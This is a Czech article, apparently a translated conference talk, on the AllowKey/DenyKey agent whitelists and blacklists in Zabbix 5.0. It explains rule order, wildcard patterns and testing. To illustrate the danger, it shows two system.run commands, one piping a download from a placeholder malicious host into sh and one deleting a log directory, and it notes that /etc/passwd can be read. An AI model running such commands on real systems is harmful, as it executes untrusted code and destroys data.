
Podpora černých a bílých seznamů pro metriky na straně agenta
Tikhon Uskov, inženýr integrace, Zabbix
Problémy s bezpečností dat
Ve Zabbixu 5.0 se objevila nová funkce, která umožňuje zlepšit bezpečnost ve systémech používajících Zabbix Agent a nahrazuje starý parametr EnableRemoteCommands.
Vylepšení bezpečnosti systémů používaných agentem je způsobeno tím, že agent může vykonávat velké množství potenciálně nebezpečných akcí.
- Agent může sbírat prakticky jakékoli informace, včetně důvěrných nebo potenciálně nebezpečných, z konfiguračních souborů, logů, souborů s hesly nebo jakýchkoli jiných souborů.
Například pomocí utility zabbix_get lze získat přístup k seznamu uživatelů, jejich domácím adresářům, souborům s hesly atd.

Přístup k datům pomocí utility zabbix_get
POZNÁMKA. Data mohou být získána pouze v případě, že agent má práva ke čtení příslušného souboru.. Ale například soubor /etc/passwd/ je dostupný ke čtení všem uživatelům.
- Agent také může vykonávat potenciálně nebezpečné příkazy. Například klíč *system.run[]** umožňuje vykonávat jakékoli vzdálené příkazy na uzlech sítě, včetně spouštění skriptů z webového rozhraní Zabbix, které také vykonávají příkazy na straně agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- V Linuxu se agent ve výchozím nastavení spouští bez oprávnění root, zatímco ve Windows se spouští jako služba pod jménem System a má neomezený přístup k souborovému systému. Pokud tedy po instalaci nejsou v parametrech Zabbix Agenta provedeny žádné změny, agent má přístup k registru, souborovému systému a může provádět WMI dotazy.
V dřívějších verzích parametr EnableRemoteCommands=0 pouze zakazoval metriky s klíčem *system.run[]** a vykonávání skriptů z webového rozhraní, přičemž neexistovala možnost omezit přístup k jednotlivým souborům, povolit nebo zakázat jednotlivé klíče, které byly nastaveny spolu s agentem, nebo omezit používání jednotlivých parametrů.

Použití parametru EnableRemoteCommand ve dřívějších verzích Zabbixu
AllowKey/DenyKey
Zabbix 5.0 pomáhá chránit před takovým neoprávněným přístupem díky bílým a černým seznamům pro povolení a zákaz metrik na straně agenta.
Ve Zabbixu 5.0 jsou všechny klíče včetně *system.run[]**, povolené a přidány dvě nové parametry konfigurace agenta:
AllowKey= — povolené kontroly;
DenyKey= — zakázané kontroly;
kde — vzor názvu klíče s parametry, ve kterém se používají metaznaky (*).
Klíče AllowKey a DenyKey umožňují povolit nebo zakázat jednotlivé metriky podle určitého vzoru. Na rozdíl od jiných parametrů konfigurace není počet parametrů AllowKey/DenyKey omezen. To umožňuje jasně určit, co může agent v systému dělat díky vytvoření stromu kontrol — prováděných klíčů, kde hraje důležitou roli pořadí jejich zápisu.
Pořadí pravidel
Pravidla se kontrolují v tom pořadí, v jakém byla uvedena v konfiguračním souboru. Kontrola klíče podle pravidel probíhá do prvního shody, a jakmile se klíč datového prvku shoduje s vzorem, je povolen nebo zakázán. Poté se kontrola pravidel zastaví a ostatní klíče jsou ignorovány.
Proto pokud se prvek shoduje jak s povolujícím, tak se zakazujícím pravidlem, výsledek bude záviset na tom, které pravidlo bude první v konfiguračním souboru.

2 různá pravidla se stejným vzorem a klíč vfs.file.size[/tmp/file]
Pořadí použití klíčů AllowKey/DenyKey:
- přesná pravidla,
- obecná pravidla,
- zakazující pravidlo.
Například, pokud potřebujete přístup k souborům ve specifikované složce, je nutné nejprve povolit přístup k nim, a poté zakázat všechny ostatní, které nepatří pod stanovená povolení. Pokud bude nejprve použito zakazující pravidlo, přístup do složky bude zakázán.

Správné pořadí
Pokud je nutné povolit spuštění 2 utilit přes *system.run[]**, a nejprve bude uvedeno zakazující pravidlo, utility se nespustí, protože první vzor bude vždy odpovídat jakémukoli klíči, a následující pravidla budou ignorována.

Špatné pořadí
Vzory
Základní pravidla
Vzory — výrazy se zástupnými znaky (wildcard). Metaznak (*) odpovídá libovolnému počtu jakýchkoli symbolů na určité pozici. Metaznaky mohou být použity jak v názvu klíče, tak v parametrech. Například, můžete důrazně určit textem první parametr, a následující uvést jako wildcard.
Parametry musí být uzavřeny v hranatých závorkách [].
system.run[*— nesprávněvfs.file*.txt]— nesprávněvfs.file.*[*]— správně
Příklady použití wildcard.
- Ve jménu klíče a v parametru. V tomto případě klíč neodpovídá obdobnému klíči, který neobsahuje parametr, protože v vzoru jsme uvedli, že chceme získat určité zakončení jména klíče a určitý soubor parametrů.
- Pokud nejsou v návrhu použity hranaté závorky, vzor povoluje všechny klíče, které neobsahují parametry, a zakazuje všechny klíče s uvedeným parametrem.
- Pokud je klíč zapsán úplně a parametry jsou uvedeny jako wildcard, bude odpovídat jakémukoliv obdobnému klíči s jakýmikoli parametry a nebude odpovídat klíči bez hranatých závorek, tj. bude povolen nebo zakázán.

Pravidla pro vyplnění parametrů.
- Pokud se předpokládá použití klíče s parametry, měly by být parametry zapsány v konfiguračním souboru. Parametry by měly být uvedeny jako metaznak. Je třeba opatrně zakazovat přístup k jakémukoli souboru a zvážit, jaké informace může metrika poskytovat při různých variantách zápisu — s parametry a bez nich.

Specifika zápisu klíčů s parametry
- Pokud je klíč uveden s parametry, ale parametry jsou volitelné a uvedené jako metaznak, klíč bez parametrů bude povolen. Například, pokud chcete zakázat získávání informací o zatížení CPU a uvádíte, že klíč system.cpu.load[*] by měl být zakázán, nezapomeňte, že klíč bez parametrů vrátí průměrnou hodnotu zatížení.

Pravidla pro vyplnění parametrů
Poznámky
Nastavení
- Některá pravidla nemohou být změněna uživatelským způsobem, například pravidla odhalování (discovery) nebo automatické registrace agentů. Pravidla AllowKey/DenyKey se netýkají následujících parametrů:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
POZNÁMKA. Pokud správce zakáže jakýkoli klíč, při dotazu Zabbix nevydá informace o tom, proč metrika nebo klíč spadají do kategorie ‘NOTSUPPORTED‘. V logovacích souborech agenta informace o zákazu provádění vzdálených příkazů také nejsou zobrazeny. To bylo provedeno z důvodů bezpečnosti, ale může to komplikovat ladění, pokud metriky spadají do nepodporované kategorie z jakýchkoli důvodů..
- Není dobré spoléhat na nějaký konkrétní pořádek načítání externích konfiguračních souborů (například abecedně).
Nástroje příkazového řádku
Po nastavení pravidel je nutné se ujistit, že je všechno správně nakonfigurováno.
Můžete využít jednu ze tří možností:
- Přidat metriku do Zabbixu.
- Otestovat pomocí zabbix_agentd. Zabbix agent s volbou -print (-p) zobrazuje všechny klíče (které jsou ve výchozím nastavení povoleny), kromě těch, které nejsou povoleny konfigurací. A s volbou -test (-t) pro zakázaný klíč vrátí ‘Unsupported item key‘.
- Otestovat pomocí zabbix_get. Nástroj zabbix_get s volbou -k vrátí ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Povolovat nebo zakazovat
Můžete zakázat přístup k souboru a ujistit se například pomocí nástroje zabbix_get, že přístup k souboru je zakázán.

**
POZNÁMKA. Uvozovky v parametru se ignorují.
Přístup k takovému souboru však může být povolen jinou cestou. Například pokud na něj odkazuje symlink.

Doporučuje se kontrolovat různé varianty použití definovaných pravidel a také brát v úvahu možnosti obejití zákazů.
Otázky a odpovědi
Otázka. Proč byla pro popis pravidel, oprávnění a zákazů zvolena tak složitá schéma vzoru se svým jazykem? Proč nebylo možné použít například regulární výrazy, které používá Zabbix?
Odpověď. To je otázka výkonu regexu, protože agent obvykle běží jeden a kontroluje obrovské množství metrik. Regex je dost náročná operace a nemůžeme zkoušet tisíce metrik tímto způsobem. Wildcards jsou univerzální, široce používané a jednoduché řešení..
Otázka. Nepřipojují se soubory Include náhodně v abecedním pořadí?
Odpověď. Pokud je mi známo, je prakticky nemožné předpovědět sekvenci aplikace pravidel, pokud rozdělujete pravidla do různých souborů. Doporučuji shromáždit všechna pravidla AllowKey/DenyKey do jednoho souboru Include, protože vzájemně interagují a připojit tento soubor..
Otázka. V Zabbix 5.0 volba ‘EnableRemoteCommands=‘ v konfiguračním souboru chybí a jsou dostupné pouze klíče AllowKey/DenyKey?
Odpověď. Ano, to je správně..
Děkujeme za pozornost!
Zdroj: habr.com
